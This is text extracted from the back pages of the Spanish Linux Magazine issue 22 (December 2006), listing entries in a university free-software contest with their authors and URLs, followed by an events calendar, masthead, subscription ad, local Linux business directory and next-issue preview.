CENTRO DE MEDIOSOrganizador que permite el almacenamientode distintos tipos de material(texto,fotos,vídeos …) a los que se les puedeasignar multitud de metadatos.

Autores

Pablo Guerrero Rosel

Jorge Salamero Sanz

CLIENTE MENSAJERÍA INSTANTÁNEA Y LECTORDE SINDICACIÓN

Cliente de mensajería instantánea y lector desindicación multiprotocolo y multiplataforma.

Autores

Rubén Dugo Martín

Vicente Ruiz Rodríguez

Gabriel Garrido Calvo

URL

http://gocmis.wordpress.com/

COLORSTYLERAplicación para sistematizar la creación deplantillas opensource XHTML+CSS para dis-tintos CMS que permite reorganizar la dis-tribución de su layout y los colores de la plan-tilla mediante un interfaz de usuario.

Autores

Fernando Salom Carratalá

Victor Marco Boix

URL

http://colorstyler.wordpress.com/

COMPARTE RIQUEZAPrograma que pretende facilitar el intercam-bio de recursos y materias primas entre pueb-los del tercer mundo sin intermediarios.

Autores

Iñigo Tamayo

COMPRESIÓN EN EL SISTEMA DE ARCHIVOSEXT3

Sistema de fichero ext3 con compresión alvuelo de los datos guardados.

Autores

Francisco José Oviedo Alvarez

#20 #21

¡pídelos ya!

el REPOSITORIOde conocimientos

LINUXmás COMPLETO

¡No esperes a que se agoten!

WWW.LINUX-MAGAZINE.ES/ATRASADOS

Autores

Miguel Serrano Milano

URL

http://hxuml.wordpress.com/

DOCEVALHerramienta para evaluar la calidad de la doc-umentación generada en un proyecto de soft-ware libre.

Autores

Juan Luis Prieto Martínez

URL

http://www.lacoctelera.com/doceval

DOMINAREKDominarek es un juego de dominó multi-usuario, donde se podrá jugar contra lamáquina o con otros jugadores por internet.

Autores

Manuel Flores Vivas

URL

http://dominarek.wordpress.com/

EASY-KERNELUtilidad para principiantes que automatiza lacompilación del kernel en sistemas Linux.

Autores

Roberto Alfonso Perera

EDICIÓN ONLINE DE CONTENIDOS ESTRUCTURADOS

Módulo de software para la edición on-line decontenidos estructurados mediante la apli-cación de tecnologías como XML, AJAX yXFORMS

Autores

Alberto González Cristiano

Ricardo Campos García

Francisco Zanón Ordóñez

EDUCO-MATEMÁTICASAplicación para el uso didáctico dirigida aestudiantes de primer y segundo curso de pri-maria de la asignatura de matemáticas.

Autores

Javier Almagro Abellán

URL

http://javiblog.wordpress.com/

EMULADOR DE ENSAMBLADOREmulador de ensamblador modular escritoen Python y GTK.

Autores

Francisco Suárez Muñoz

Jaime Cabot Campíns

Iván Ruiz Monjo

ENTORNO VIRTUAL 3D PARA DESARROLLO DEAPLICACIONES

Componentes básicos de todo entorno 3D

para el posterior uso en videojuego u otrasaplicaciones interactivas.

Autores

David Gras Reyes

Pablo Jimena López

Pablo Lloréns Lledó

URL

http://virtual3d.wordpress.com/

EPOL (ENTORNO DE PROGRAMACIÓN ON-LINE)

Entorno de programación en línea para desar-rollar, compilar y descargar los ejecutablesgenerados por los lenguajes C, C++, ADA yJava.

Autores

Idafen Santana Pérez

Rubén Quesada López

EUREKA CATALOGUERSoftware para catalogar información almace-nada en discos compactos, unidades USB yotros sistemas de almacenamiento. Este soft-ware permite manejar la información salvadasin necesidad del soporte físico.

Autores

Jesús Requejo Monzón

FORMULACIÓN MAGISTRALPrograma de gestión y tasación de fórmulasmagistrales que permite llevar un control depacientes, médicos, productos, envases, etc…y cumplir con la legislación actual sobreprospectos e indicaciones.

Autores

Alvaro Cortés Cabrera

URL

http://formulacionmagistral.wordpress.com/

FREE HARDWARE MANAGERGestor de hardware avanzado que permite ladetección y configuración de dispositivos.

Autores

Manuel Angel Abeledo Garcia

Esteban Paz Freire

GASOLINERASExtensión para Mozilla Firefox, que analiza losdatos ofrecidos en la pagina web del Ministe-rio de Industria y nos muestre las gasolinerasmás baratas, así como su ubicación y precioen función del carburante indicado.

Autores

F. Javier Delgado Seva

URL

http://yson.wordpress.com/

GCONTA 2.0Porte de la aplicación gconta [gconta.sf.net], auna nueva arquitectura más flexible que per-mita un sistema de plugins para el entorno deescritorios Gnome

Autores

COMUNIDAD · Concurso de Software Libre

90 Número 22 W W W . L I N U X - M A G A Z I N E . E S

URL

http://ext3z.wordpress.com/

CONTROL POR VOZAplicación modulable dedicada a hacer acce-sible otros programas vía voz para su uso porpersonas discapacitadas.

Autores

Alejandro Díaz Torres

DEBCULTUREPrograma que usará el sistema de empaque-tado de Debian para la distribución de mater-ial cultural, musical, multimedia, etc…

Autores

Jesús Espino García

URL

http://debculture.wordpress.com/

DEBIAN GNU/HURD & GNOMEDistribución Debian/HURD con escritorio.

Autores

Marc Poch Mallandrich

URL

http://errno.wordpress.com

DEMOSTRADOR AUTOMÁTICO PARA LALÓGICA DE PRIMER ORDEN

Programa para analizar la consistencia de fór-mulas lógicas de primer orden.

Autores

Juan Jesús Gutiérrez Ramos

DESARROLLO DE UN MOTOR PARA LACREACIÓN DE JUEGOS RPG 2D

Motor para la creación de juegos RPG 2D,junto con un juego que demuestre las posibili-dades del motor.

Autores

David Pol Ahonen

Albert Amengual Galindo

Emilio Perelló Alcal

URL

http://www.bmox.net/blog/

DESARROLLO DE UN SIMULADOR DE ROBOTMÓVIL AUTÓNOMO

Simulador de robot móvil y autónomo.

Autores

Maria del Mar Jiménez Torres

DETECCION DE BOTNETS EN REDES LOCALESAplicación que analiza el tráfico que atravieseuna red local en busca de tráfico sospechosode ser usado por una botnet y tomar de formaautomática las medidas aportunas.

Autores

Adrian Belmonte Martin

DISEÑO UML EN ENTORNO WEBHerramienta web para la edición UML enlínea.

91Número 22W W W . L I N U X - M A G A Z I N E . E S

Concurso de Software Libre • COMUNIDAD

Juan Amador Álvarez Fernández

Manuel Felipe Gamallo Rivero

GUADALINEX-US PARA APPLE MACINTOSH SOBRE INTEL

Adaptación de la distribución Guadalinex parala Universidad de Sevilla a los nuevos AppleMacintosh con procesador Intel de formanativa.

Autores

Jose Antonio del Corral Alcaraz

URL

http://guadalinexmac.wordpress.com/

GUIDE PARA OCTAVEEntorno gráfico para diseño de interfaces deusuario de aplicaciones para Octave.

Autores

Juan Pedro Cobos Carrascosa

HELLDebugger grafico para plataformas x86 ylinux/unix que se asemeja a aplicaciones yaexistentes en windows como ollydbg, IDAProo SoftICE.

Autores

Manuel Martín de Miguel

Davíd Morán Antón

URL

http://helldbg.wordpress.com/

JITUNESReproductor y organizador de archivos demúsica que permiten la utilización de pluginspara añadirle nuevas características comocompartir, buscar y puntuar los ficheros deaudio, reproducir radio a través de internet…

Autores

Rafael Valenzuela Moraleda

Borja Martin Sánchez de Vivar

KANA DSAplicación para aprendizaje de los silabariosHiragana y Katakana del lenguaje Japonés,además de los Kanji correspondientes al niveloficial JLPT-4(80 ideogramas)

Autores

Julio Gorgé

URL

http://kanads.blogspot.com/

KONQUEROR EN ESTEROIDESAmpliación notable del navegador Kon-queror. Cabe destacar un nuevo sistema demarcadores, una papelera de páginas cer-radas, la mejora del sistema de sesiones y laeliminación de huellas.

Autores

Eduardo Robles Elvira

Daniel García Moreno

MÜCHIGAMEJuego de simulación de la vida real de los

Müchis, en el que podrás explorar su mundoy acompañar en el crecimiento al personaje alo largo de su corta vida durante las aventurasque puedan ocurrir.

Autores

Juan Belón Pérez-Higueras

Xavi Rivilla Frias

URL

http://www.agenciaq4.com/muchigame/

MODIFICACIÓN DE OSCOMMERCE PARAPOTENCIAR EL COMERCIO ELECTRÓNICO

Amplicación de la aplicación OSCOMMERCEpara facilitar a los usuarios menos familiariza-dos con las nuevas tecnologías la creación denuevos proyectos comerciales en la red.

Autores

Javier Pulido García

MSILCCCompilador de lenguaje MSIL a lenguaje Cpara poder usar lenguajes de alto nivel paraprogramar sistemas empotrados y de bajonivel.

Autores

Pablo Iñigo Blasco

MUSICQUIZZJuego inspirado en el original del iPod deApple que reproduce fragmentos de tu propiabiblioteca musical y muestra, al mismotiempo, algunas opciones donde el jugadortendrá que seleccionar la pista correcta que seestá escuchando en el menor tiempo posible.

Autores

Jacobo Tarragón Cros

William Viana Soares

Víctor Muñoz Ferrara

NASUPP:NAVAJA SUIZA PARA PDF Y POSTSCRIPT

Frontend gráfico que facilita la manipulaciónde ficheros PDF/postScritp apoyado en lasherramientas psutils, pdfjam, poppler-utilsen.

Autores

Francisco Luis Araña Cruz

NETSHAREAplicación gráfica que facilita la tarea de con-figuración de una red doméstica por usuariospoco experimentados.

Autores

Antonio González Romero

URL

http://tivi.wordpress.com/

NEUROCIENCIA COMPUTACIONALSistema, similar al ya existente T9, que utilizaun modelo computacional de la corteza cere-bral, o neocórtex, para jerarquizar y predecirlas interacciones del usuario con el terminal.

Autores

Marcos Cobeña Morián

Bruno Orcha García

URL

http://gconta.wordpress.com/

GESTIÓN DE ESCUELAS DE DANZAAplicación para la gestión de escuelas dedanza. Escrita en C y con interfaz gráfica enGTK.

Autores

Jorge Luis Arévalo de Soto

URL

http://jorgearevalo.wordpress.com/tag/proyectos/gestor-de-academias/

GESTIÓN DE PROYECTO FIN DE CARRERA (GPFC)Versión de escritorio del programa GPFC,usada por el profesorado para la gestión deProyectos de Fin de Carrera.

Autores

José Félix Ontañón Carmona

GESTIÓN INTEGRAL DE CENTROS EDUCATIVOSAplicación web orientada a la gestión de cen-tros educativos tanto de primaria cómosecundaria con capacidad para gestionartrámites administrativos y académicos de losalumnos y alumnas.

Autores

Fernando Mayo Fernández

GESTIONGPrograma para la gestión contable y de sociosde pequeñas asociaciones sin ánimo de lucro.

Autores

Francisco Santiago Capel Torres

Sara Oñate

Isabel Cánovas García

GROONAN LINUX FROM SCRATCHSoporte para la instalación automática deLinux From Scratch a partir de configura-ciones en XML.

Autores

Pablo Palazón Sánchez

URL

http://groonanlfs.wordpress.com/

GSTICELibrería de soporte que posibilita la trans-misión de un flujo de datos en entornos inter-net/intranet. Separa en canales varias transmi-siones simultáneas, logrando que diversosclientes puedan utilizar más de un canal almismo tiempo.

Autores

Diego Martín-Serrano Fernández

Óscar Aceña Herrera

GUÍA CINEMATOGRÁFICA MULTIUSUARIO CONSISTEMA DE REGLAS

Sistema experto para la evaluación delargometrajes.

Autores

PROYECTO EDUKICMS desarrollado para la utilización en cen-tros educativos. Permite la publicación deinformación sobre consulta de notas, catálogode bibliotecas, tutorías virtuales, etc.

Autores

Guillermo Grande Vidal

PROYECTO OPEN PIPEProyecto que mezcla software libre y hard-ware libre para crear un instrumento musicaldigital para músicos que tocan instrumentosde viento.

Autores

Santiago José Barro Torres

QTOCTAVEFront-end en QT para Octave que facilita el tra-bajo del usuario final con esta herramienta decálculo matemático compatible con Matlab.

Autores

Pedro Luis Lucas Rosado

URL

http://qtoctave.wordpress.com/

RAPYDO – RADIOLOGICAL ANALYSIS INPYTHON FOR DEVELOPERS

Framework orientado al campo del análisis deimágenes médicas que proporciona unentorno de desarrollo sencillo y con una curvade aprendizaje corta, utilizando como pilaresfundamentales ITK y VTK.

Autores

José Ángel Montelongo Reyes

URL

http://rapydo.wordpress.com/

REESCRITURA DE LA INTERFAZ WEB DE GNUMAILMAN

Creación de una nueva interfaz de gestiónpara el archiconocido servidor de listas decorreo GNU Mailman.

Autores

Alvaro Uría Avellanal

URL

http://fermat.wordpress.com/

REMANDO CONJUNTAMENTEPlataforma digital para una red de inserciónlaboral para personas en riesgo de exclusiónsocial que aune los esfuerzos y recursos dedistintas entidades que trabajen en estecampo.

Autores

David Rodríguez Vicente.

URL

http://remando.blogia.com/

SEGURIDAD VIALJuego educativo orientado hacia los másjóvenes para que estos se conciencien de laimportancia de la seguridad vial.

Autores

Daniel Garrido Garrochena

URL

http://evial.wordpress.com

SERVIDOR WEB IMPLEMENTADO EN CServidor web implementado en C más ligero ycon el máximo de características, haciendomayor énfasis en crear un servidor seguro.

Autores

Toni Pizà

URL

http://serverweb.wordpress.com/

SHARP KNOCKINGAplicación que, usando las herramientas deNetfilter, gestionará la apertura y cerrado depuertos de una máquina de forma dinámicadependiendo si se da la orden o no para usarun puerto determinado.

Autores

Miguel Ángel Pérez Valencia

Luis Román Gutiérrez

URL

http://projects.ilikecoffee.net/sharpknocking/

SIMPROCSimulador para la simulación de procesosautomatizados, ideal para la construcción deprototipos virtuales de maquinaria industrial.

Autores

Óscar Gómez García

URL

http://simproc.wordpress.com

SISTEMA DE AUTENTICACIÓN EN REDES Y 02.11.A/B/G

Sistema de autenticación para redes ethernet owireless con el uso de Smartcards para la certi-ficación del usuario en la red.

Autores

Adrián Yanes Martínez

Martín Gómez Loira

SISTEMA DE COMUNICACIÓN ALUMNO-PROFESOR

Sistema de comunicación basado en la arqui-tectura cliente-servidor para la gestión de datosy comunicaciones entre profesores y alumnos.

Autores

James López Prieto

URL

http://www.bluegod.net/aulachat/

SISTEMA DE GESTIÓN DE ICONOS

Aplicación para gestionar bibliotecas de iconoslocales.

Autores

Juan Colino Barrigón

Jorge Diez Rujas

Jorge Moreno Aguilera

María de La Luz Cabrera Bernal

ORGANIZADOR DE HORARIOS PARA UNIVERSITARIOS

Programa para organizar el horario de unestudiante universitario. Dado un conjunto deasignaturas y horarios, desarrollará diferentesalternativas, facilitando al estudiante estatediosa tarea anual.

Autores

Víctor Moreno Gómez

ORSETTA (GESTOR DE EVENTOS)Sistema Gestor de Contenidos (CMS) orien-tado a la gestión de tareas relacionadas con laorganización de eventos.

Autores

Antonio Martínez Carballo

Marta Prado Fernández

URL

http://orsetta.macada.net

PAINTPOLAplicación que permite que dos o másusuarios dibujen sobre un único lienzoa través de internet. Es una mezcla demensajería instantánea y editor de imá-genes.

Autores

Matías Escudero Martínez

Pablo Novo Giménez

Fernado Fernández-Valdés Pedrosa

URL

http://paintpol.blogspot.com/

PHONEPLOTAplicación que guarda todos los datos gener-ados por una centralita PAB para un posibleanálisis a posteriori.

Autores

Juan Jesús Bolorino Martín

PORTING DE GCC A LA ARQUITECTURA DEL MICROCONTROLADOR PIC16F877

Desarrollo del porting del compilador de Clibre GCC para el microcontrolador deMicrochip PIC16F877

Autores

Pedro José Ramírez Gutiérrez

URL

https://pjmicrocontroladores.wordpress.com/

PROGRAMA DE ANÁLISIS DE EVENTOSDEPORTIVOS

Programa que gestiona y facilita el análisis tác-tico de eventos deportivos

Autores

Andoni Morales Alastruey

URL

http://longomatch.wordpress.com/

COMUNIDAD · Concurso de Software Libre

92 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Concurso de Software Libre • COMUNIDAD

93Número 22W W W . L I N U X - M A G A Z I N E . E S

URL

http://waltz.wordpress.com/

SISTEMA DE GESTIÓN DE UNA CETRALITATELEFÓNICA CON ASTERISK

Programa web que permite gestionar todoslos componentes de una centralita en Aster-isk.

Autores

Luis Pérez Meliá

SISTEMA PARA LA GESTIÓN DEL SERVICIO DEREPROGRAFÍA

Un sistema de control de la reprografía ydocumentos que constará de una interfazweb con DMS, un modulo para enlazar conlos correspondientes drivers de impresión yuna aplicación para la gestión de las impre-siones solicitadas.

Autores

Rubén Marcos Tamargo

URL

http://resete.sytes.net/blog/index.php/category/concurso-univ-software-libre/feed/

SOLUCION PARA CONTROL Y GESTION DEPUESTOS DE UN CYBERCAFÉ

Aplicación cliente-servidor para la gestiónde cybercafés.

Autores

Jorge Peña Cotarelo

URL

http://cotarelo.wordpress.com/

SONORO

Componente de Joomla orientado a lagestión de grupos de música sin derechosde autor.

Autores

Daniel Monedero Tórtola

SPECTAKLE

Suite de aplicaciones de señalética digital.La señalética digital se usa en museos,aeropuertos, estaciones de ferrocarril y otroslugares públicos donde es necesariomostrar información cambiante en tiemporeal.

Autores

Pau García i Quiles

SUBDOWNLOADER

Programa que facilita la búsqueda y poste-rior descarga de subtítulos para diferentesformatos de vídeo.

Autores

Iván García Cortijo

SWAML,SEMANTIC WEB ARCHIVE OF MAILING LISTS

Proyecto de investigación desarrollado en laUniversidad de Oviedo alrededor de las tec-nologías de la Web Semántica para publicar losarchivos de una lista de correo en un vocabu-lario RDF.

Autores

Sergio Fernández López

URL

http://swaml.berlios.de/

TCOS CLIENTES LIGEROS SOBRE DEBIAN

TCOS es un nuevo sistema de arranque porred para terminales ligeros basado en DebianGNU/Linux.

Autores

Mario Izquierdo Rodríguez

URL

http://soleup.eup.uva.es/mariodebian

TERRARIO VIRTUAL

Juego que simula un terrario en el que con-viven diferentes especies virtuales, y que mues-tra la evolución tanto social cómo individual detoda criatura.

Autores

Leandro del Olmo Coto

URL

http://vterrario.blogspot.com/

THINKLINUX

Distribución live basada en SlackWare y orien-tada a cubrir todas las necesidades de losportátiles Thinkpad.

Autores

Daniel Moreno Medina

TORMENTABIERTA

Herramienta multiusuario que permite desar-rollar, publicar y recoger la información de unrepositorio o banco de ideas.

Autores

Daniel Carballo Ruiz

Blanca Maeso González

TRADUCTOR DE TÉRMINOSMULTIPLATAFORMA BASADO EN OCR

Herramienta para el reconocimiento y traduc-ción de palabras que aparecen en la pantalllamediante OCR. Las traducciones se realizarán apartir de un diccionario libre, colaborativo y ges-tionable desde la misma aplicación.

Autores

Diego Sevillano de Miguel

Javier García Palacios

URL

http://cooltran.wordpress.com/

TRADUCTOR LIBRE

Traductor libre (inglés-español) para esta-ciones de trabajo o servidor web, con la posi-bilidad de ir añadiendo nuevos idiomas ycombinaciones de éstos que permitirá la tra-ducción fiable y casi inmediata de artículos ytextos.

Autores

Jorge Novo Novo

TRIVIEDU V1.0

Juego educativo de preguntas y respuestassimilar al Trivial para la enseñanza primariacon soporte para juego en grupos.

Autores

Marta Sanz Casadesús

URL

http://triviedu.blogspot.com/

WEBDEVSTUDIO – ENTORNO DE DESARROLLOINTEGRADO ONLINE

Entorno de desarrollo integrado (IDE) onlinepara mantener proyectos informáticos imple-mentados en diferentes lenguajes de progra-mación en un servidor y poder acceder a él ytrabajar con ellos mediante un navegadorweb.

Autores

Israel Ortiz Flores

XAJAX + CMS = XCMS

Implementación de nuevas funcionalidadespara el CMS (Moodle) con el fin de alcanzar unnuevo nivel de interactividad por parte de losusuarios.

Autores

Francisco Jesús Gómez Rodríguez

José Antonio Pizarro Romanillos

Rubén Martínez Jiménez

URL

http://xcms.wordpress.com/

ZZUI

Interfaz gráfica para la herramienta opensource7zip, una herramienta de compresión/decom-presión de archivos que en su versión GNU/Linux sólo está disponible mediante interfaz deconsola.

Autores

Christian López Espínola

Pedro Laguna Durán

Olga Domínguez Gil

URL

http://zzui.wordpress.com/

94

EVENTOS

94 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Debconf 7

Fecha: 17-23 Junio 07

Ciudad: Edinburgo,RU

Sitio Web: http://www.debconf.org

I Concurso Universitario de

Software Libre

Fecha: 1 Sep. - Junio 07

Ciudad: Sevilla, España

Web: http://concurso-softwarelibre.us.es

FOSDEM 2007

Fecha: 24-25 Feb 07

Ciudad: Bruselas,Bélgica

Web:http://www.fosdem.org

Información de Contacto

DirectorPaul C. Brown

CoolaboradoresPaul C. Brown, Jose Manuel González Vida, JuanRafael Fernández, Pedro Orantes, José María Ruíz,Alberto Planas, Jose A. García, Ana Mª Ferreiro

TraductoresPaqui Martín Vergara, Paul C. Brown, VíctorTienda, Oliver Kurz.

MaquetaciónFran Sánchez

Diseño de [email protected]

Publicidadwww.linux-magazine.es/pub/

Para EspañaMarketing y Comunicaciones [email protected].: (+ 34) 951 010 556Fax.: (+ 34) 951 010 516

Paul C. [email protected].: (+ 34) 951 010 556Fax.: (+ 34) 951 010 516

Para el Resto del MundoBrian Osborn [email protected] Tel.: (+49) 6509 910 495Fax.: (+49) 6509 910 497

Director EditorialPaul C. Brown

Jefe de ProducciónJuan Miguel Ramírez

Subscripciones:www.linux-magazine.es/magazine/subs

Precios Subscripción España: 54,90 €Europa: 64,90 €Resto del Mundo - Euros: 84,90 €

Tel.: (+34) 951 010 556Fax.: (+34) 951 010 516 [email protected]

Linux MagazineLinux New Media Spain, S.L.Avda. Juan López Peñalver, 2129590 - Campanillas Málaga ESPAÑA [email protected].: (+34) 951 010 556Fax.: (+34) 951 010 516

www.linux-magazine.es - Españawww.linux-magazine.com - Mundowww.linux-magazine.de - Alemania

Si bien se toman todas las medidas posibles paragarantizar la precisión del contenido de los artículos publi-cados en Linux Magazine, la editorial no se hace responsable de imprecisiones aparecidas en larevista. Asimismo, Linux Magazine no compartenecesariamente las opiniones vertidas por suscolaboradores en sus artículos. El riesgo derivado del uso del DVD y el material que contiene corren por cuenta del lector. El DVD es estudiado escrupu-losamente para confirmar que está libre de virus y errores.

Copyright y Marcas Registradas © 2006 Linux NewMedia Spain, S.L. Linux New Media Spain S.L. prohíbela reproducción total o parcial de los contenidos deLinux Magazine sin su permiso previo y por escrito.Linux es una Marca Registrada de Linus Torvalds.

Impreso en Alemania

Impresión: Dierichs Druck + Media GmbH

Distribución: SGEL

Depósito Legal: MA-116-2005

ISSN edición impresa: 1576-4079

ISSN edición online: 1699-2237

Calendario de Eventos

Evento Fecha Ciudad Sitio Web

T-DOSE 2-3 Diciembre Eindhoven,Holanda www.t-dose.orgOpen Source Developers' Conference 5-8 Diciembre Melbourne,Australia www.osdc.com.au/Secure Linux Administration Conference 7-8 Diciembre Berlín,Alemania www.heinlein-support.de/slac23rd Chaos Communication Congress 27-30 Diciembre Berlín,Alemania events.ccc.de/congress/2006linux.conf.au 2007 15-20 Enero 07 Sydney,Australia http://lca2007.linux.org.au14.DFN-Cert-Workshop 7-8 Febrero 07 Hamburgo,Alemania www.cert.dfn.de/events/ws/2007/SCALE 5x 10-11 Febrero 07 Los Ángeles,CA,EE.UU. http://www.socallinuxexpo.orgVancouver PHP Conference 2007 12-13 Febrero 07 Vancouver,Canadá http://vancouver.php.net/node/360LinuxWorld OpenSolutions New York 14-15 Febrero 07 Nueva York,EE.UU. www.linuxworldexpo.com/live/14Open Source Developers' Conference 20-22 Febrero 07 Netanya, Israel www.osdc.org.il/2007FOSDEM 2007 24-25 Febrero 07 Bruselas,Bélgica www.fosdem.orgPyCon 2006 24-26 Febrero 07 Addison,TX,EE.UU. us.pycon.orgUKUUG Spring 2007 Conference 19-21 Marzo 07 Manchester,RU www.ukuug.org/events/spring2007FOSE 2007 20-22 Marzo 07 Washington,DC,EE.UU. http://www.fose.comETech Conference 2007 26-29 Marzo San Diego,CA,EE.UU. http://conferences.oreillynet.com/etechfisl 8.0 15-18 Abril 07 Porto Alegre,Brasil fisl.softwarelivre.org/8.0/www/Web 2.0 Expo 2007 15-18 Abril 07 San Francisco,CA,EE.UU. http://www.web2expo.comDebconf 7 17-23 Junio 07 Edinburgo,RU http://www.debconf.org

Más del 30% de descuento respecto al precio de portada: Consigue 12 números por 54’90 Euros y todos los DVDs ¡Gratis!

A diferencia de otras publicaciones, Linux Magazine no llenará tu buzón de recordatorios para que renueves tu subscripción. Ésta se renovaráautomáticamente cada año. Recibirás una confirmación aproximadamente 30 días antes del final de tu periodo de subscripción, pero no serequiere que hagas nada para seguir suscrito.

¡No te pierdas Linux Magazine nunca más! La subscripción te asegura que recibas los conocimientos Linux de más alta calidad en tu domiciliocada mes.

Si por cualquier motivo decides dejar de leer Linux Magazine, puedes cancelar tu subscripción en cualquier momento. Te abonaremos el preciode todos los números que no hayas recibido. Sin preguntas, sin fechas de cancelación, sin problemas.

Linux Magazine es algo más que una revista de Linux. Patrocinamos grupos, congresos, proyectos y eventos relacionados con el Software Libre.Suscribiéndote a Linux Magazine garantizas que podamos seguir apoyando al Software Libre allá donde haga falta.

LINUX LOCAL

97Número 21W W W . L I N U X - M A G A Z I N E . E S

Andalucía

Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8

Gesinfo [email protected] www.gesinfoweb.com � � � � � �

BitRock [email protected] bitrock.com � �

Properly Software [email protected] www.properly.es/site � �

GuadaGames [email protected] www.guadagames.com �

Virtua [email protected] www.virtua.es � � � �

LINUX LOCALLeyenda

1.- Hardware

2.- Software / Desarollo

3.- Formación

4.- Soporte / Consultoría

5.- Servidores

6.- Redes

7.- Migración

8.- Hospedaje

Cataluña

Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8

IWS [email protected] www.iws.es � � � � � �

Madrid

Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8

Mono::labs [email protected] www.monolabs.com � � � � � �

Datum [email protected] www.datum.ws � � � � � �

Opentia [email protected] www.opentia.es � � � � � �

Linux Local es el directorio de servicios y empresas de Linux cerca de ti.

¿Necesitas soporte, hardware, formación? Consulta Linux Local y encuen-

tra quién ofrece qué y dónde. El directorio se divide en regiones autóno-

mas para ayudarte a localizar las empresas que ofrecen servicios cerca de ti. Uti-

liza la leyenda de la derecha para encontrar la empresa que ofrece el servicio

que precises.

Linux Local es tu guía de servicios Linux.

¿Por qué no está su empresa eneste directorio?

LINUX MAGAZINE llega a miles de empresas, profesionales y usuarios cada mes.

Si tiene servicios o productos Linux que ofrecer ¡Llámenos!

Tlf.: +34 951 010 556

Fax: +34 951 010 516

[email protected]

98

PRÓXIMO NÚMERO

98 Número 22 W W W . L I N U X - M A G A Z I N E . E S

VIRTUALIZACIÓN

El milagro de la virtualización permite una mayor

protección y estabilidad al separar el entorno de eje-

cución del sistema base subyacente. El mes que

viene te traemos un estudio práctico sobre la virtua-

lización que permitirá decidirte si era ésta la tecno-

logía que andabas buscando.

Comenzaremos nuestra andadura con un artículo

sobre el funcionamiento de Xen, el más popular de

los monitores de máquinas virtuales, y aprovechare-

mos para mostrar de lo que es capaz su última ver-

sión.

Veremos VServer, que suministra virtualización

con un impacto mínimo en el rendimiento del sis-

tema huésped.

Finalmente sometemos VMware ESX Server al

escrutinio de dos veteranos y exigentes administra-

dores de sistemas: Charly Kühnast y Jürgen Backes.

¿Estará el software a la altura de sus expectativas?

Si deseas ponerte al día en lo que puede hacer la

tecnología de la virtualización, no te pierdas Linux

Magazine 23.

THIN CLIENTSA pesar de lo que pudiera parecer, no son necesarios

Samba ni NFS para soportar clientes sin disco. Un disposi-

tivo de bloques remoto permite mejorar el rendimiento,

acelerar el acceso y maximizar la eficiencia más allá que

ninnguna otra solución.

Dirk Von Suchodoletz y Thorsten Zitterell nos mostrarán

cómo se las ingeniaron con esta poco explotada y sorpren-

dente técnica en un centro TIC de la Universidad de Fri-

burgo.

PESSULUS Y SABAYON

Si precisas restringir los permisos de los usuarios en

un entorno multiusuario, conviene que veas lo que

pueden ofrecerte tanto Pessulus y Sabayon, dos nue-

vos componentes del escritorio Gnome. Estas herra-

mientas te permitirán perfilar más detallada y limpia-

mente la seguridad y la propiedad de los recursos a

un coste cercano a cero.

Te enseñamos cómo los administradores de siste-

mas profesionales utilizan estos dos componentes.

A LA VENTA: DICIEMBRE 2006

Diciembre 2006: Número 22

PRÓXIMO NÚMERO